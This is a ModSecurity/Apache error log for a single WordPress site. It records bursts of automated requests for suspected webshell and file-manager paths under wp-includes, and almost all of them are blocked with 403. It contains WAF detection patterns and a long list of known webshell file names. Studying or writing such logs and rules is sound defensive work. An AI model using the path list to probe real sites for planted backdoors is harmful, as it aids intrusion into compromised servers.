[Fri Nov 21 05:41:01.798215 2025] [:error] [pid 51434:tid 51446] [client 185.251.19.203:22357] [client 185.251.19.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "aR-K7fU96liplEDkw_TvUQAAAQo"]
[Fri Nov 21 05:41:07.625205 2025] [:error] [pid 51434:tid 51457] [client 185.251.19.199:41921] [client 185.251.19.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aR-K8_U96liplEDkw_TvZgAAARU"]
[Fri Nov 21 05:41:19.393804 2025] [:error] [pid 13326:tid 13376] [client 185.251.19.174:42187] [client 185.251.19.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aR-K_9h942-HkDIkOWrnUgAAAFI"]
[Fri Nov 21 05:41:20.281677 2025] [proxy_fcgi:error] [pid 13327:tid 13398] [client 185.251.19.197:28645] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:41:24.143919 2025] [:error] [pid 13327:tid 13395] [client 185.251.19.197:28645] [client 185.251.19.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aR-LBPBXf-8B6mFkLeOcVgAAAIo"]
[Fri Nov 21 05:41:32.423776 2025] [proxy_fcgi:error] [pid 13412:tid 13435] [client 185.251.19.197:32919] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:41:34.283516 2025] [:error] [pid 13412:tid 13417] [client 185.251.19.197:32919] [client 185.251.19.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.251.19.197, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aR-LDn3-knz3ZB6HogG-EgAAAMA"]
[Fri Nov 21 05:41:41.125913 2025] [:error] [pid 13412:tid 13441] [client 185.251.19.197:32919] [client 185.251.19.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aR-LFX3-knz3ZB6HogG-OgAAANg"]
[Fri Nov 21 05:41:44.043421 2025] [:error] [pid 13326:tid 13359] [client 185.251.19.186:33555] [client 185.251.19.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aR-LGNh942-HkDIkOWrnggAAAEE"]
[Fri Nov 21 05:41:50.418026 2025] [:error] [pid 13327:tid 13395] [client 185.251.19.194:51611] [client 185.251.19.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aR-LHvBXf-8B6mFkLeOcjQAAAIo"]
[Fri Nov 21 05:41:59.881593 2025] [:error] [pid 13326:tid 13369] [client 185.251.19.186:42181] [client 185.251.19.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aR-LJ9h942-HkDIkOWrnmgAAAEs"]
[Fri Nov 21 05:42:02.887109 2025] [:error] [pid 51434:tid 51445] [client 136.144.42.245:29291] [client 136.144.42.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aR-LKvU96liplEDkw_Tv3AAAAQk"]
[Fri Nov 21 05:42:08.771858 2025] [:error] [pid 13326:tid 13378] [client 185.251.19.186:27197] [client 185.251.19.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aR-LMNh942-HkDIkOWrnpwAAAFQ"]
[Fri Nov 21 05:42:13.082415 2025] [proxy_fcgi:error] [pid 13327:tid 13401] [client 185.251.19.188:30869] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:42:13.529353 2025] [:error] [pid 13327:tid 13386] [client 185.251.19.188:30869] [client 185.251.19.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aR-LNfBXf-8B6mFkLeOcrwAAAIE"]
[Fri Nov 21 05:42:16.493970 2025] [:error] [pid 13412:tid 13417] [client 185.251.19.178:47771] [client 185.251.19.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/db.php"] [unique_id "aR-LOH3-knz3ZB6HogG-ZgAAAMA"]
[Fri Nov 21 05:42:17.411457 2025] [:error] [pid 13412:tid 13430] [client 185.251.19.189:58639] [client 185.251.19.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aR-LOX3-knz3ZB6HogG-aAAAAM0"]
[Fri Nov 21 05:42:18.294945 2025] [:error] [pid 13325:tid 13335] [client 136.144.42.251:51019] [client 136.144.42.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aR-LOiBUXj9tD75On3CklAAAAAU"]
[Fri Nov 21 05:42:19.182068 2025] [:error] [pid 13326:tid 13364] [client 136.144.42.245:60713] [client 136.144.42.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aR-LO9h942-HkDIkOWrnqwAAAEY"]
[Fri Nov 21 05:42:20.057022 2025] [:error] [pid 13412:tid 13431] [client 136.144.42.244:33547] [client 136.144.42.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aR-LPH3-knz3ZB6HogG-agAAAM4"]
[Fri Nov 21 05:42:20.975920 2025] [:error] [pid 13326:tid 13380] [client 185.251.19.187:20611] [client 185.251.19.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aR-LPNh942-HkDIkOWrnrAAAAFY"]
[Fri Nov 21 05:42:25.341313 2025] [:error] [pid 13326:tid 13368] [client 185.251.19.177:32603] [client 185.251.19.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aR-LQdh942-HkDIkOWrntQAAAEo"]
[Fri Nov 21 05:42:26.238936 2025] [:error] [pid 13325:tid 13345] [client 185.251.19.167:28709] [client 185.251.19.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aR-LQiBUXj9tD75On3CkmgAAAA8"]
[Fri Nov 21 05:42:27.157169 2025] [:error] [pid 13325:tid 13344] [client 136.144.42.246:35893] [client 136.144.42.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aR-LQyBUXj9tD75On3CkmwAAAA4"]
[Fri Nov 21 05:42:29.271909 2025] [:error] [pid 51434:tid 51456] [client 185.251.19.192:62265] [client 185.251.19.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aR-LRfU96liplEDkw_TwCQAAARQ"]
[Fri Nov 21 05:42:33.644046 2025] [:error] [pid 13327:tid 13407] [client 185.251.19.173:56193] [client 185.251.19.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/options.php"] [unique_id "aR-LSfBXf-8B6mFkLeOc0QAAAJY"]
[Fri Nov 21 05:42:34.544154 2025] [proxy_fcgi:error] [pid 13412:tid 13426] [client 185.251.19.175:50791] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:42:40.023982 2025] [:error] [pid 13412:tid 13422] [client 185.251.19.175:50791] [client 185.251.19.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.251.19.175, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aR-LUH3-knz3ZB6HogG-sQAAAMU"]
[Fri Nov 21 05:42:48.224776 2025] [:error] [pid 13412:tid 13440] [client 185.251.19.175:50791] [client 185.251.19.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aR-LWH3-knz3ZB6HogG-ywAAANc"]
[Fri Nov 21 05:42:49.112081 2025] [:error] [pid 13412:tid 13436] [client 185.251.19.173:33947] [client 185.251.19.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aR-LWX3-knz3ZB6HogG-zQAAANM"]
[Fri Nov 21 05:43:14.023896 2025] [:error] [pid 51434:tid 51436] [client 185.251.19.185:63063] [client 185.251.19.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aR-LcvU96liplEDkw_TwiwAAAQA"]
[Fri Nov 21 05:43:14.930497 2025] [:error] [pid 51434:tid 51450] [client 185.251.19.196:42985] [client 185.251.19.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aR-LcvU96liplEDkw_TwjgAAAQ4"]
[Fri Nov 21 05:43:15.845228 2025] [:error] [pid 13325:tid 13351] [client 185.251.19.167:65087] [client 185.251.19.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aR-LcyBUXj9tD75On3CkywAAABU"]
[Fri Nov 21 05:43:25.777835 2025] [:error] [pid 13327:tid 13392] [client 185.251.19.176:51589] [client 185.251.19.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aR-LffBXf-8B6mFkLeOdFQAAAIc"]
[Fri Nov 21 05:43:26.647443 2025] [:error] [pid 13412:tid 13417] [client 185.251.19.175:22897] [client 185.251.19.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aR-Lfn3-knz3ZB6HogG-8AAAAMA"]
[Fri Nov 21 05:43:27.552704 2025] [:error] [pid 13327:tid 13386] [client 185.251.19.190:44855] [client 185.251.19.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aR-Lf_BXf-8B6mFkLeOdHQAAAIE"]
[Fri Nov 21 05:43:34.456781 2025] [:error] [pid 13412:tid 13430] [client 185.251.19.176:23831] [client 185.251.19.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aR-Lhn3-knz3ZB6HogG_EQAAAM0"]
[Fri Nov 21 05:43:37.433309 2025] [:error] [pid 51434:tid 51446] [client 136.144.42.249:42477] [client 136.144.42.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aR-LifU96liplEDkw_Tw-wAAAQo"]
[Fri Nov 21 05:43:41.940016 2025] [:error] [pid 13327:tid 13395] [client 185.251.19.198:22415] [client 185.251.19.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aR-LjfBXf-8B6mFkLeOdegAAAIo"]
[Fri Nov 21 05:43:59.741825 2025] [:error] [pid 13412:tid 13427] [client 185.251.19.181:37803] [client 185.251.19.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "aR-Ln33-knz3ZB6HogG_agAAAMo"]
[Fri Nov 21 05:44:04.294988 2025] [:error] [pid 13412:tid 13432] [client 185.251.19.173:41511] [client 185.251.19.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/about.php"] [unique_id "aR-LpH3-knz3ZB6HogG_cgAAAM8"]
[Fri Nov 21 05:44:14.743599 2025] [:error] [pid 51434:tid 51446] [client 136.144.42.251:24669] [client 136.144.42.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp-sup.php"] [unique_id "aR-LrvU96liplEDkw_TxUwAAAQo"]
[Fri Nov 21 05:44:19.275115 2025] [:error] [pid 13325:tid 13353] [client 185.251.19.192:57691] [client 185.251.19.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aR-LsyBUXj9tD75On3ClHgAAABc"]
[Fri Nov 21 05:44:26.563317 2025] [:error] [pid 51434:tid 51449] [client 185.251.19.187:28067] [client 185.251.19.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aR-LuvU96liplEDkw_TxegAAAQ0"]
[Fri Nov 21 05:44:35.271887 2025] [:error] [pid 13412:tid 13423] [client 185.251.19.185:41919] [client 185.251.19.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aR-Lw33-knz3ZB6HogG_igAAAMY"]
[Fri Nov 21 05:44:40.129213 2025] [:error] [pid 13412:tid 13441] [client 185.251.19.183:20351] [client 185.251.19.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aR-LyH3-knz3ZB6HogG_jwAAANg"]
[Fri Nov 21 05:44:41.009773 2025] [:error] [pid 13412:tid 13435] [client 136.144.42.249:32625] [client 136.144.42.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aR-LyX3-knz3ZB6HogG_kAAAANI"]
[Fri Nov 21 05:44:49.644041 2025] [:error] [pid 13327:tid 13389] [client 185.251.19.188:27797] [client 185.251.19.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aR-L0fBXf-8B6mFkLeOdxQAAAIQ"]
[Fri Nov 21 05:44:57.704820 2025] [:error] [pid 13412:tid 13435] [client 136.144.42.249:41091] [client 136.144.42.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aR-L2X3-knz3ZB6HogG_nwAAANI"]
[Fri Nov 21 05:45:04.915057 2025] [:error] [pid 51434:tid 51453] [client 185.251.19.186:25893] [client 185.251.19.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aR-L4PU96liplEDkw_TxwwAAARE"]
[Fri Nov 21 05:45:05.796896 2025] [:error] [pid 51434:tid 51458] [client 185.251.19.198:56385] [client 185.251.19.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aR-L4fU96liplEDkw_TxxQAAARY"]
[Fri Nov 21 05:45:10.070051 2025] [:error] [pid 13412:tid 13425] [client 136.144.42.249:51439] [client 136.144.42.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aR-L5n3-knz3ZB6HogG_qQAAAMg"]
[Fri Nov 21 05:45:15.735314 2025] [:error] [pid 51434:tid 51437] [client 185.251.19.185:26457] [client 185.251.19.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/install.php"] [unique_id "aR-L6_U96liplEDkw_Tx0wAAAQE"]
